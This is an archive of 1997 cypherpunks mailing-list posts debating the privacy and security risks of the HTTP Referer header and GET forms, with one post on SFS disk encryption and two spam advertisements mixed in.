> least entitled to know that there's a sign on my back that says where I
> came from. How many web users are aware of the HTTP REFERRER header? Not
> many, especially if they have not read the specs or looked at the logs
> from a web server. As an adminsitrator I AM NOT ENTITLED to that info.

Why not?  It's a useful tool to find out who has linked to you.

On the other hand, it _is_ a privacy concern, and I don't want to send it
to sites I visit.  So I included an option blocking the Referrer tag in
Cookie Jar, the cookie-blocking program I wrote.   I'd like to think that
writing it helped push Netscape into supporting better options for cookies
(see rfc2109) and into adding this option for not sending Referrer
but I'm sure there were many other louder calls for the same thing.


> Accept responsibility?  Ok, that's wishful thinking. How about not
> blaming others? How about warning your users? You didn't do it in this
> case. If you do then you can say "I told you so!"


Users need to educate themselves.  Even a fairly security and privacy
concious company like Netscape still has exectutives who feel as though
they have to answer to the bottom line and who will sacrifice consumer
privacy to get there if they feel that the advantages outweigh the risks.
Netscape has consistently led industry in realizing and fixing and admitting
security holes and privacy issues, largely due to the effort of Jeff and
the rest of their security group in educating upper management on those
issues and making them realize their importance.  However I am not willing
to bet my privacy on Netscape's good will, as it could turn at any time.

The way to real privacy is to educate oneself.  Demanding companies to
"fix it" is lame and ineffectual.  You have the technology-  fix it
yourself!  Distribute your code.  Make the companies look bad.
Educate the sheeple.  But asking companies to look out for your privacy
is a waste of time.



-- 
   Eric Murray  ericm@lne.com         Privacy though technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Mon, 14 Apr 1997 13:52:03 -0700 (PDT)
To: sameer <sameer@c2.net>
Subject: Re: SSL weakness affecting links from pa
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/000161B1@mex3976bcaop1.banamex.com>
MIME-Version: 1.0
Content-Type: text/plain



>	GET forms aren't the only thing wrong with referer, btw. An
>associate of mine discovered some prioprietary Netscape information
>from the Referer: headers on hits to his website from Netscape
>employees, even.

Could you elaborate?


 ----------
From: sameer
To: ARTURO GRAPA YSUNZA; Tom Weinstein
Cc: toto@sk.sympatico.ca; cypherpunks@toad.com; stewarts@ix.netcom.com;
markm@voicenet.com; AGRAPA@k2.banamex.com; cryptography@c2.net
Subject: Re: SSL weakness affecting links from pa
Date: Monday, April 14, 1997 2:23PM

Microsoft Mail v3.0 IPM.Microsoft Mail.Note
De: sameer
Para:  ARTURO GRAPA YSUNZA
     Tom Weinstein
Cc:  toto@sk.sympatico.ca
     cypherpunks@toad.com
     stewarts@ix.netcom.com
     markm@voicenet.com
     AGRAPA@k2.banamex.com
     cryptography@c2.net
Asunto:  Re: SSL weakness affecting links from pa
Fecha: 1997-04-14 14:23
Prioridad: 3
Ident. del mensaje: A7705E17CEB1D011AF91006097838CEB

 -----------------------------------------------------------------------
----- --

> information.  This is a security hole in the web site, not in the
> browser.  The browser follows the HTTP specification.  If you have a
[. . .]
>
> In the eyes of some, the referer header is a privacy violation.  It
> allows a site to see what site you visited before coming there.  In the
> case of Navigator, we ONLY send the referer header when you click on a
> link.  Not when you select a bookmark.  Not when you type a URL into the
> location field.  This allows web sites to see who links to them.  I
> think that's something that a web author is entitled to know.

	GET forms aren't the only thing wrong with referer, btw. An
associate of mine discovered some prioprietary Netscape information
from the Referer: headers on hits to his website from Netscape
employees, even.

	I commend Netscape for providing users with the ability to
turn off referers.

 --
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Mon, 14 Apr 1997 13:14:26 -0700 (PDT)
To: Eric Murray <ericm@lne.com>
Subject: Re: SSL weakness affecting links from pa
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001616E@mex3976bcaop1.banamex.com>
MIME-Version: 1.0
Content-Type: text/plain



Re: SSL & GET

I suspect that the pass-the-buck syndrome is in full force.

If the specs authors should realize that programmers are going to code
by them then shouldn't programmers realize that users are going to use
their products?

The user, the specification author, the browser manufacturer, the server
manufacturer, and the content provider all share the responsibility.
Just 'cause its in the specs doesn't mean (shouldn't mean) that everyone
else can just wash their hands of it. There are stupid users, stupid
specification authors, stupid browser manufacturers, etc. If the specs
are not secure the user shouldn't use it, the manufacturer shouldn't
code to it, etc. OR SHOULD THEY SHARE RESPONSIBILITY? I guess the real
solution will come in court when someone tries to sue a content provider
who tries to sue a server manufacturer who tries to sue a browser
manufacturer who tries to sue a specs author.

My concern is that the author of the comments, who works for Netscape by
the way, is passing the buck on to the content provider. Its great
policy for Netscape, bad policy Netscape's clients.

Re: HTTP REFERER

Useful? Yes. Entitled? NO.

Art Grapa
agrapa@banamex.com


 ----------
From: Eric Murray
To: ARTURO GRAPA YSUNZA; AGRAPA@k2.banamex.com
Cc: cypherpunks@toad.com; tomw@netscape.com; cryptography@c2.net
Subject: Re: SSL weakness affecting links from pa
Date: Monday, April 14, 1997 12:45PM

Microsoft Mail v3.0 IPM.Microsoft Mail.Note
De: Eric Murray
Para:  ARTURO GRAPA YSUNZA
     AGRAPA@k2.banamex.com
Cc:  cypherpunks@toad.com
     tomw@netscape.com
     cryptography@c2.net
Asunto:  Re: SSL weakness affecting links from pa
Fecha: 1997-04-14 12:45
Prioridad: 3
Ident. del mensaje: 8C705E17CEB1D011AF91006097838CEB

 -----------------------------------------------------------------------
----- --

ARTURO GRAPA YSUNZA writes:
>
>
> Tom Weinstein wrote:
>
> >This particular feature (the HTTP referer header) has nothing to do with
> >corporations "having their way" with users.  It was created so that web
> >authors could put "back" buttons on their pages.  The security problem
> >arises when stupid CGI authors use GET forms to transfer sensitive
> >information.  This is a security hole in the web site, not in the
> >browser.  The browser follows the HTTP specification.  If you have a
> >problem with that, contact the author of that specification.  Or, better
> >yet, contact the web site (as far as I know, there are none) that has
> >this security hole.
>
> Stupid programmers abound even in large corporations. Bugs, patches and
> security holes are now normal everyday things. I agree with Toto.
> Companies should take more responsability in the programs they produce.

No, specification authors should take more responsibility in the specs
that they produce.  The HTTP spec's use of GET is insecure.
Specification
writers should realize that people will follow their specs, and should
be thinking of security and privacy issues as they are beig written.


> >In the eyes of some, the referer header is a privacy violation.  It
> >allows a site to see what site you visited before coming there.  In the
> >case of Navigator, we ONLY send the referer header when you click on a
> >link.  Not when you select a bookmark.  Not when you type a URL into the
> >location field.  This allows web sites to see who links to them.  I
> >think that's something that a web author is entitled to know.
>
> NO WAY! The web author is NOT entitled to know where I came from. So if
> you go to Sears the saleperson is entitled to know you came from
> JCPenney's? If so, then I am just as much entitled to not tell him or at
> least entitled to know that there's a sign on my back that says where I
> came from. How many web users are aware of the HTTP REFERRER header? Not
> many, especially if they have not read the specs or looked at the logs
> from a web server. As an adminsitrator I AM NOT ENTITLED to that info.

Why not?  It's a useful tool to find out who has linked to you.

On the other hand, it _is_ a privacy concern, and I don't want to send
it
to sites I visit.  So I included an option blocking the Referrer tag in
Cookie Jar, the cookie-blocking program I wrote.   I'd like to think
that
writing it helped push Netscape into supporting better options for
cookies
(see rfc2109) and into adding this option for not sending Referrer
but I'm sure there were many other louder calls for the same thing.


> Accept responsibility?  Ok, that's wishful thinking. How about not
> blaming others? How about warning your users? You didn't do it in this
> case. If you do then you can say "I told you so!"


Users need to educate themselves.  Even a fairly security and privacy
concious company like Netscape still has exectutives who feel as though
they have to answer to the bottom line and who will sacrifice consumer
privacy to get there if they feel that the advantages outweigh the
risks.
Netscape has consistently led industry in realizing and fixing and
admitting
security holes and privacy issues, largely due to the effort of Jeff and
the rest of their security group in educating upper management on those
issues and making them realize their importance.  However I am not
willing
to bet my privacy on Netscape's good will, as it could turn at any time.

The way to real privacy is to educate oneself.  Demanding companies to
"fix it" is lame and ineffectual.  You have the technology-  fix it
yourself!  Distribute your code.  Make the companies look bad.
Educate the sheeple.  But asking companies to look out for your privacy
is a waste of time.



 --
   Eric Murray  ericm@lne.com         Privacy though technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Mon, 14 Apr 1997 13:18:12 -0700 (PDT)
To: "bryce@digicash.com>
Subject: Re: SSL weakness affecting links from pa
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001616F@mex3976bcaop1.banamex.com>
MIME-Version: 1.0
Content-Type: text/plain



How about:

"You are about to send a 'referrer header' telling the next web
site about the web page you are currently looking at.  Should
<netscape> send this 'referrer header'?
[Yes/No/Always Send Referrer Headers/Never Send Referrer Headers]

[CHECKBOX] Don't ask again."



 ----------
From: bryce@digicash.com
To: ARTURO GRAPA YSUNZA; Black Unicorn
Cc: cypherpunks@toad.com; cryptography@c2.net; toto@sk.sympatico.ca; Tom
Weinstein; Bill Stewart; Mark M.; ARTURO GRAPA YSUNZA
Subject: Re: SSL weakness affecting links from pa
Date: Monday, April 14, 1997 1:44PM

Microsoft Mail v3.0 IPM.Microsoft Mail.Note
De: bryce@digicash.com
Para:  ARTURO GRAPA YSUNZA
     Black Unicorn
Cc:  cypherpunks@toad.com
     cryptography@c2.net
     toto@sk.sympatico.ca
     Tom Weinstein
     Bill Stewart
     Mark M.
     ARTURO GRAPA YSUNZA
Asunto:  Re: SSL weakness affecting links from pa
Fecha: 1997-04-14 13:44
Prioridad: 3
Ident. del mensaje: A0705E17CEB1D011AF91006097838CEB

 -----------------------------------------------------------------------
----- --


 A million monkeys operating under the pseudonym
 "Black Unicorn <unicorn@schloss.li>" typed:
>
> "You are about to forward a referer header to the page you have selected.
> Forwarding the referer header to this site may reveal more about your web
> browsing habits than you would prefer.  Should <netscape> surpress the
> referer header?  Yes/No/Always Surpress/Never Surpress."


Minor UI nit:  it would be much much better if it said


"You are about to send a 'referrer header' telling the next web
site about the web page you are currently looking at.  Should
<netscape> send this 'referrer header'?
[Yes/No/Always Send Referrer Headers/Never Send Referrer Headers]"



Regards,

Zooko Journeyman

Disclaimers follow:  I am not a cypherpunk.  NOT speaking for
DigiCash or any other person or organization.  No PGP sig follows.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Mon, 14 Apr 1997 08:35:04 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: RE: [PGP-USERS] SFS and PGP
Message-ID: <3.0.1.32.19970414110356.007b3100@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: "James A. Tunnicliffe" <jim.tunnicliffe@inference.com>
>To: "'pgp-users@rivertown.net'" <pgp-users@rivertown.net>
>Cc: "'GWNapier@aol.com'" <GWNapier@aol.com>
>Subject: RE: [PGP-USERS] SFS and PGP
>Date: Mon, 14 Apr 1997 07:21:52 -0700
>-----BEGIN PGP SIGNED MESSAGE-----
>
>GWNapier@aol.com says:
>> Lately I have heard a lot about SFS.  The bits and pieces I heard
>> about it said it integrated PGP into it.  If anyone knows about where
>> I can get more info about, I would appreciate it.  If SFS has nothing
>> to do with PGP and I have heard wrong, I give you my deepest
>> apologies for bringing it up on this list. 
>
>Peter Gutmann's SFS (Secure File System) is a highly regarded program
>for encrypting entire disk partitions at the sector level.  It's a
>low-level device driver that encrypts your disk writes and decrypts
>your disk reads transparently on the fly, so your disk is always in
>an encrypted state.  Apart from being a quality encryption product,
>it has nothing to do with PGP, secure email, etc.  It's for a whole
>different (though very valuable) purpose... 
>
>For more information, see:
>   http://www.cs.auckland.ac.nz/~pgut001/sfs.html
>
>Tunny
>======================================================================
> James A. Tunnicliffe   | WWWeb: http://www.inference.com/~tunny
> Inference Corporation  | PGP Fingerprint:   CA 23 E2 F3 AC 2D 0C 77
> tunny@Inference.com    |                    36 07 D9 33 3D 32 53 9C
>======================================================================
>
>-----BEGIN PGP SIGNATURE-----
>Version: 4.0 Business Edition
>Comment: Achieving civil liberty through complex mathematics
>
>iQEVAgUBM1I+iPAmQsmyRPddAQGltAf/Vsn7Mj9dJyl8za4gOcK8s5CbetyqPc2Z
>giqxUr63ghdOSPhDYkRbfvroS6GrfVbTF4Gdhx7aZ+8J5FF5YXF1I1iHELkAJxTm
>AFoErAkZZHLUH5D2RddV0dXJQBPFa0O2h8kxL8V24ktUnGyi5UOwXPoub9vwAVnM
>+x1fu8J6/z8PkOLHOe/BczAUCRtgzHFD9XZ0wVSXQgLKgIkftxF5gfO/x0UM9w17
>rdiAx4QzLotwmUKKhVUVAm2glcvkRa0Zs0JQv5QdtVOvNCPSJpcz90yFqUbKiPJp
>R0SQhcAmJveJMNEUoetQ68s3eMdoe1U0nGJOVg0tK5rdZzEDxyXxPA==
>=XKVJ
>-----END PGP SIGNATURE-----
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 14 Apr 1997 11:31:24 -0700 (PDT)
To: unicorn@schloss.li
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <Pine.SUN.3.96.970414115216.28199C-100000@polaris.mindport.net>
Message-ID: <199704141830.LAA13210@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn writes:
 
> I might add that I would like an option on cookie supression to bypass
> that annoying dialog such to never allow cookies.  It gets a bit much when
> a page askes for 9 cookies in a row and the only way to prevent them is to
> get beeped at repeatedly.  Again, don't confuse the novice, don't slow
> down the expert.

RFC 2109, released a couple months ago, addresses this.  Unless
Doubleclick is successful in getting it changed. :-(

I don't think any browsers yet support the cookie-choice features of 2109
(correct me if I'm wrong).  So in the mean time you can use Cookie Jar
(http://www.lne.com/ericm/cookie_jar/) to filter out cookies and
Referer: tags and ads.



-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 14 Apr 1997 11:19:31 -0700 (PDT)
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com>
Message-ID: <335273AE.391E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Tom Weinstein wrote:
> Toto wrote:
> > Let's get real, here. Corporations add capabilities to their programs
> > that allow themselves and other 'major players' to have their way with
> > the user.
> >   When Joe Average, or a hacker/spammer takes advantage of the same
> > capability, then the vendors claim it is a 'bug', or that they can't
> > be blamed for the 'bad guys' use of this built-in function.
> 
> This is a security hole in the web site, not in the
> browser.  The browser follows the HTTP specification.  If you have a
> problem with that, contact the author of that specification.
> 
> In the eyes of some, the referer header is a privacy violation.  It
> allows a site to see what site you visited before coming there.

  And the Netscape default is to violate the user's privacy.

> This allows web sites to see who links to them.  I
> think that's something that a web author is entitled to know.

  Without notifying the user of your software that information
they may want to keep private is being given out? I don't think so.
  Why do you not instead require the web author to 'ask for 
permission' to know where the user last visited? Is it because
the user is just considered a pawn of business interests?
  
> So, you think we're doing something bad.  Why don't you tell me what
> you think we should do?

  My personal opinion is that you should inform your users of how,
when and why the use of your software does, or can, affect their
privacy. And you should give them an option of installing your
software with all privacy features set to 'on'.
  Give your users the option of not allowing their privacy to be
silently intruded on with no notification.

  The 'Cookie' situation is a good example of placing corporate
interests ahead of the interests of those who use a browser.
  The fact that the capacity to turn off cookie acceptance was
added after people found out and complained about their privacy
being violated is not something for companies to be proud of,
no matter how much their PR department may claim they are
championing privacy by adding these 'features'.

  I realize that the corporatization of the InterNet provides
certain benefits to users, but the fact of the matter is, the
cost of those benefits is being hidden from the users.
  I would just like to see a browser which informs the average
user in what way their information is being used and shared,
and gives them a way to protect themselves against intrusion
into their private lives and dissemination of their personal
information.

  Believe it or not, there may be users who stumble upon or
are suckered into going to a 'Bestiality and Child Perversion'
site who may not want to spread this information around.
  When I find out that a program's installation process has
stuck a hidden corncob up my ass, I'm not going to write them
a thank-you note if they later come up with a 'feature' to 
allow me to remove it.

  Please be advised that my email reply to you in no way indicates
a desire for my name to be sold to a 'Bestiality' mailing list,
despite whether or not this is part of some standard 'specification'
hidden in Netscape's fine print. (Cheap shot? Moi?)
  I use Netscape, and I like the different technologies being
developed that expand user's horizons. However, I would rather
be told what the cost is to have all of these 'free' capabilities,
and be given the option of bearing the burden of whatever increased
costs may arise by my not wanting to open my life and interests to
every operator of a roadside stand along the Information Highway.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Mon, 14 Apr 1997 09:20:14 -0700 (PDT)
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3351F2DF.7DC26A1A@netscape.com>
Message-ID: <Pine.SUN.3.96.970414115216.28199C-100000@polaris.mindport.net>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 14 Apr 1997, Tom Weinstein wrote:

> In the eyes of some, the referer header is a privacy violation.  It
> allows a site to see what site you visited before coming there.  In the
> case of Navigator, we ONLY send the referer header when you click on a
> link.  Not when you select a bookmark.  Not when you type a URL into the
> location field.  This allows web sites to see who links to them.  I
> think that's something that a web author is entitled to know.
> 
> So, you think we're doing something bad.  Why don't you tell me what
> you think we should do?

Thanks for the chance to address the issue.

I think that perfectly reasonable "features" often can become "security
flaws" or "privacy lapses" when the user is not aware of the potential
danger.  In this case I think much of the flak over the referer header is
driven by the fact that no one really appreciated the danger until it was
pointed out.  This gives rise to the "My god!  What have I been giving out
all these months while accessing www.hotchicks.com?" panic.  Of course
the next step is anger.  "Why the hell does <netscape> do that?  Why
wasn't I told?"

This melds into another software annoyance of mine.  Sacrificing the needs
of the user who knows what he is doing for the novice when both can be
easily satisified.  Of course the reverse is also true.  Take, for
example, Mr. Stewart's comment:

>I basically agree with Microsoft.  It works as specified, and everyone
>should know that handling sensitive form posts via GET is a bad idea.

Well, those of us who know what we are doing should know better but (and
I'm not sure this is Mr. Weinstein's mission or concern) if you want to
educate the public you need to assume the user does not know and create
and option to streamline operation for the user who does.

Having said the above, what I would like to see is an option to surpress
the referer header explicitly like with cookies.

"You are about to forward a referer header to the page you have selected.
Forwarding the referer header to this site may reveal more about your web
browsing habits than you would prefer.  Should <netscape> surpress the
referer header?  Yes/No/Always Surpress/Never Surpress."

I might add that I would like an option on cookie supression to bypass
that annoying dialog such to never allow cookies.  It gets a bit much when
a page askes for 9 cookies in a row and the only way to prevent them is to
get beeped at repeatedly.  Again, don't confuse the novice, don't slow
down the expert.

> -- 
> You should only break rules of style if you can    | Tom Weinstein
> coherently explain what you gain by so doing.      | tomw@netscape.com

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Lyles <lyles@parc.xerox.com>
Date: Mon, 14 Apr 1997 12:34:53 -0700 (PDT)
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3351F2DF.7DC26A1A@netscape.com>
Message-ID: <97Apr14.123346pdt."7904"@thyron.parc.xerox.com>
MIME-Version: 1.0
Content-Type: text/plain


In message <3351F2DF.7DC26A1A@netscape.com>you write:
...
>In the eyes of some, the referer header is a privacy violation.  It
>allows a site to see what site you visited before coming there.  In the
>case of Navigator, we ONLY send the referer header when you click on a
>link.  Not when you select a bookmark.  Not when you type a URL into the
>location field.  This allows web sites to see who links to them.  I
>think that's something that a web author is entitled to know.
>

Tom,

<ignoring personal privacy issues>

I am concerned that the referer field could be a major corporate security 
leak.  In particular, many companies are now using the web for internal 
project documentation.  The URLs often contain project code words or code 
names.  If a project wishes to to establish links to competitors for purposes 
of benchmarking, or to suppliers, the referer field would leak those code 
words and/or project organization.  In most security handbooks this is a 
breach of project security.  

Unfortunately, you (the commercial web community) are creating entitlements 
which the user community is likely to disagree with strongly.  My newspaper 
does not have an entitlement to know which pages I read, the advertisers in 
the newspaper do not have entitlements to the knowledge of which ads I scan.  
Assumption of such entitlements in the web environment will inevitably lead to 
privacy violations, security leaks and legal action.

-Bryan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Mon, 14 Apr 1997 12:43:14 -0700 (PDT)
To: tomw@netscape.com (Tom Weinstein)
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3351F2DF.7DC26A1A@netscape.com>
Message-ID: <199704141942.MAA15317@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


> information.  This is a security hole in the web site, not in the
> browser.  The browser follows the HTTP specification.  If you have a
[. . .]
> 
> In the eyes of some, the referer header is a privacy violation.  It
> allows a site to see what site you visited before coming there.  In the
> case of Navigator, we ONLY send the referer header when you click on a
> link.  Not when you select a bookmark.  Not when you type a URL into the
> location field.  This allows web sites to see who links to them.  I
> think that's something that a web author is entitled to know.

	GET forms aren't the only thing wrong with referer, btw. An
associate of mine discovered some prioprietary Netscape information
from the Referer: headers on hits to his website from Netscape
employees, even.

	I commend Netscape for providing users with the ability to
turn off referers.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: house@savetrees.com
Date: Mon, 14 Apr 1997 16:27:04 -0700 (PDT)
To: house@iapc.net
Subject: HOW TO TURN THE WORLD WIDE WEB INTO A MONEY MACHINE
Message-ID: <0000000000.AAA000@savetrees.com>
MIME-Version: 1.0
Content-Type: text/plain


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*Why the secrets of netvertising generates maximum traffic & results
*How to promote your Web Site within the internet
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*How to build your business with Facts-On-Demand technology 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SPORTFAN <SPORTFAN@Overtimeinc.com>
Date: Mon, 14 Apr 1997 21:54:27 -0700 (PDT)
To: Specials@overtimeinc.com
Subject: MICHAEL JORDAN AND OTHER SPORTS STARS -  SPECIAL !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Message-ID: <33527FB9.19E0@Overtimeinc.com>
MIME-Version: 1.0
Content-Type: text/plain


DO YOU OR ANYONE YOU KNOW LIKE SPORTS ?
DO YOU OR ANYONE YOU KNOW COLLECT SPORTS CARDS ?
HAVE YOU EVER WANTED TO MAKE A SECOND INCOME ?
HAVE YOU EVER BOUGHT A GIFT FOR A SPORTS FAN ?

If the answer was YES for any of the above questions - we have
 some INCREDIBLE DEALS for you.

ALSO - IF YOU ORDER IN APRIL (Min. $ 50) we will send you
  ***** FREE ***** A 25th Anniversary 1990-91 Mini BULLS Schedule
 
------------------------------------------------------------------------
 - INSTRUCTIONS TO BE REMOVED FROM OUR E-MAIL LIST - 

IF YOU WISH TO BE REMOVED FROM OUR MAILING LIST PLEASE DO NOT
   HIT REPLY.
TO BE REMOVED E-MAIL SPECIALSMGR@OVERTIMEINC.COM  
   AND ASK TO BE REMOVED FROM OUR LIST.
------------------------------------------------------------------------
 
For years Sports Collectables, especially Sports Cards have been a
  Multi-Billion dollar industry.

Sports collectables have been both a GREAT HOBBY AND BUSINESS for
  Millions of people of ALL AGES.

We at OVERTIME DIST., INC. have been involved in this industry for
  10 years.  The most important thing we've learned that has helped us  
and others be successful is:

  IF YOU CAN BUY ANYTHING CHEAP ENOUGH - YOU CAN ALWAYS MAKE MONEY !!!!

THAT IS WHY OVER HALF OF THE PRODUCTS WE CARRY ARE, WHAT WE CALL    
"CLOSEOUTS".  These products wholesale for 50 - 60 % of their
  suggested retail price.  We sell them to you for between 20 - 30 %
  of their suggest retail price.

THE FOLLOWING ARE SOME OF OUR BEST SELLERS (CLOSEOUTS AND NEW RELEASES)

  FOR A MORE COMPLETE LIST VISIT OUR WEBSITE AT:
    
             -------------------
      *****  WWW.OVERTIMEINC.COM  *****
             -------------------         
BASEBALL:
1996 LEAF PREFERRED - 24 PACKS @ 3.49 EACH - FOR ONLY  $  29 !!!!!
1996 PINNACLE 2 JUMBO - 36 PACKS PRE-PRICED AT $ 2.99 EACH FOR ONLY $ 29
1996 ULTRA 1 JUMBO - 24 PACKS PRE-PRICED AT $ 3.39 EACH FOR ONLY  $ 25
1996 E-XL EMOTION HOBBY - 18 PACKS RETAIL = $ 90  - OUR PRICE $ 29

1995 EMOTION - 36 PACKS - RETAIL = $ 180 - OT'S PRICE = ONLY  $ 39
1995 FLAIR 1 OR 2 - 24 PACKS - RETAIL = $ 120 - OT'S PRICE  $  29

1994 UPPER DECK 2 RETAIL - 36 PACKS = RETAIL $ 90 - OT'S PRICE  $ 19

BASKETBALL:
1995-6 ULTRA 1 JUMBO - 36 PACKS @ 3.39 = $ 122  -  FOR ONLY  $ 25 !!!! 
1995-6 ULTRA 2 RETAIL - 36 PACKS = RETAIL $ 90  -  OT'S PRICE $ 25
1995-6 SKYBOX 2 RETAIL - 36 PACKS = RETAIL $ 90 - ONLY  $ 25
1995-6 FLAIR 2 - HOBBY - 24 PACKS - RETAIL $ 120  ONLY  $ 35 !!!!!!!!

FOOTBALL:
1995 FLAIR -  36 PACKS - RETAIL  $ 180  -  FOR ONLY  $ 39 !!!!!!
1995 ULTRA 1 OR 2 JUMBO - 36 @ 3.39 = $ 122 RETAIL FOR ONLY $ 25 !!!!!

HOCKEY:
1995-6 EMOTION - 36 PACKS - RETAIL = $ 180 - FOR ONLY  $ 39 !!!!!
1995-6 ULTRA EXTRA RETAIL - 36 PACKS = FOR ONLY  $ 25 

1994-5 FLAIR - 24 PACKS - FOR ONLY  $  29 !!!!!!!!

NON-SPORTS
1995 BATMAN ULTRA FOREVER - 36 PACKS - RETAIL $ 72  FOR ONLY  $ 15
1995 BATMAN FOREVER METAL - 36 PACKS - RETAIL $ 90  FOR ONLY $ 15
1995 LION KING 2 - 36 PACKS - RETAIL = $ 60 +  ONLY  $ 12
1995 POCOHONTAS - 36 PACKS  FOR  ONLY  $ 12 !!!!!!

------------
NEW RELEASES - BEST SELLERS
------------

BASEBALL - ALL 1997 PRODUCTS
TOPPS 2 RETAIL - 36 PACKS - RETAIL = $ 72  =  FOR ONLY  $ 35
PINNACLE - HOBBY - 24 PACKS  FOR ONLY  $ 39
FINEST - HOBBY - 24 PACKS - EMAIL FOR PRICE

BASKETBALL - 1996-7 PRODUCTS
ULTRA 2 - HOBBY - 24 PACKS FOR ONLY $ 45
SKYBOX 2 - HOBBY - 24 PACKS FOR $ 49
SKYBOX Z-FORCE 2 HOBBY - 24 PACKS FOR  $ 59
ULTRA 1 HOBBY - 24 PACKS FOR $ 59
FINEST 2 - HOBBY - 24 PACKS -  EMAIL FOR PRICE
TOPPS CHROME - 20 PACKS - EMAIL FOR PRICE
UPPER DECK - SPACE JAM 2 - 36 PACKS - $ 27 

FOOTBALL: 1996 PRODUCTS
METAL RETAIL - 36 PACKS - RETAIL = $ 90  FOR ONLY  $ 29
ULTRA 1 RETAIL = 36 PACKS FOR ONLY  $ 29
PINNACLE JUMBO = 36 PACKS @ 2.99  FOR ONLY  $ 29
PLAYOFF TROPHEY CONTENDERS - 24 PACKS FOR $ 39
IMPACT 48 PACK RETAIL BOXES FOR ONLY  $ 29
FLEER 48 PACK RETAIL BOXES FOR ONLY $ 29

HOCKEY: 1996-7 PRODUCTS
LEAF PREFFERRED - 24 PACKS  FOR ONLY  $ 65
ZENITH - 24 PACKS FOR ONLY  $ 65
METAL - HOBBY - 24 PACKS FOR $ 45
ULTRA 1 HOBBY - 24 PACKS FOR ONLY $ 45

OTHER SPECIALS:

  ----- MICHAEL JORDAN STANDUP FROM UPPER DECK -------
      IT COMES WITH 2 PACKS PRICED AT $ 2.49 EACH 
        FOR ONLY  $  9  EACH   OR  10 FOR $ 79

NON-SPORTS
  WE CARRY MOST OF THE MAGIC THE GATHERING GAMING CARDS
   EMAIL OR CALL FOR PRICES.

TO ORDER ANY OF THE ABOVE ITEMS OR TO CONTACT US FOR MORE INFORMATION
CONTACT US BY:

EMAIL: GREATDEALS@OVERTIMEINC.COM
CALL:  1-800-425-GAME (4263)
FAX:   1-847-564-9684
MAIL:  OVERTIME DIST., INC.
       1970 RAYMOND DR.
       NORTHBROOK, IL .60062

PAYMENT TERMS: VISA, MASTERCARD, DISCOVER, AMERICAN
EXPRESS,                PRE-PAYMENTS, COD CASH

SHIPPING:  ALL ORDERS ARE SHIPPED UPS  AND CHARGED THE ACTUAL
           UPS CHARGES - BASED ON WEIGHT AND DISTANCE AND INSURANCE.

PRICES AND PRODUCTS ARE SUBJECT TO CHANGE

------------------------------------------------------------------------
WE ALSO BUY - MANY SEALED BOXES AND CASES OF TRADING CARDS -
   CONTACT US WITH WHAT YOU HAVE TO SELL - YOU MAY FIND OUT	
   THAT "JUNK" IN YOUR CLOSET IS WORTH SOMETHING
------------------------------------------------------------------------    
THANK YOU FOR READING THIS - HOPEFULLY WE CAN
  "WORK OVERTIME TO MAKE YOU MONEY"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Mon, 14 Apr 1997 16:17:12 -0700 (PDT)
To: AGRAPA@banamex.com (ARTURO GRAPA YSUNZA)
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/000161B1@mex3976bcaop1.banamex.com>
Message-ID: <199704142316.QAA18847@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


> 
> Could you elaborate?

	That would be impolite, sorry.

-- 
Sameer Parekh					Voice:   510-986-8770
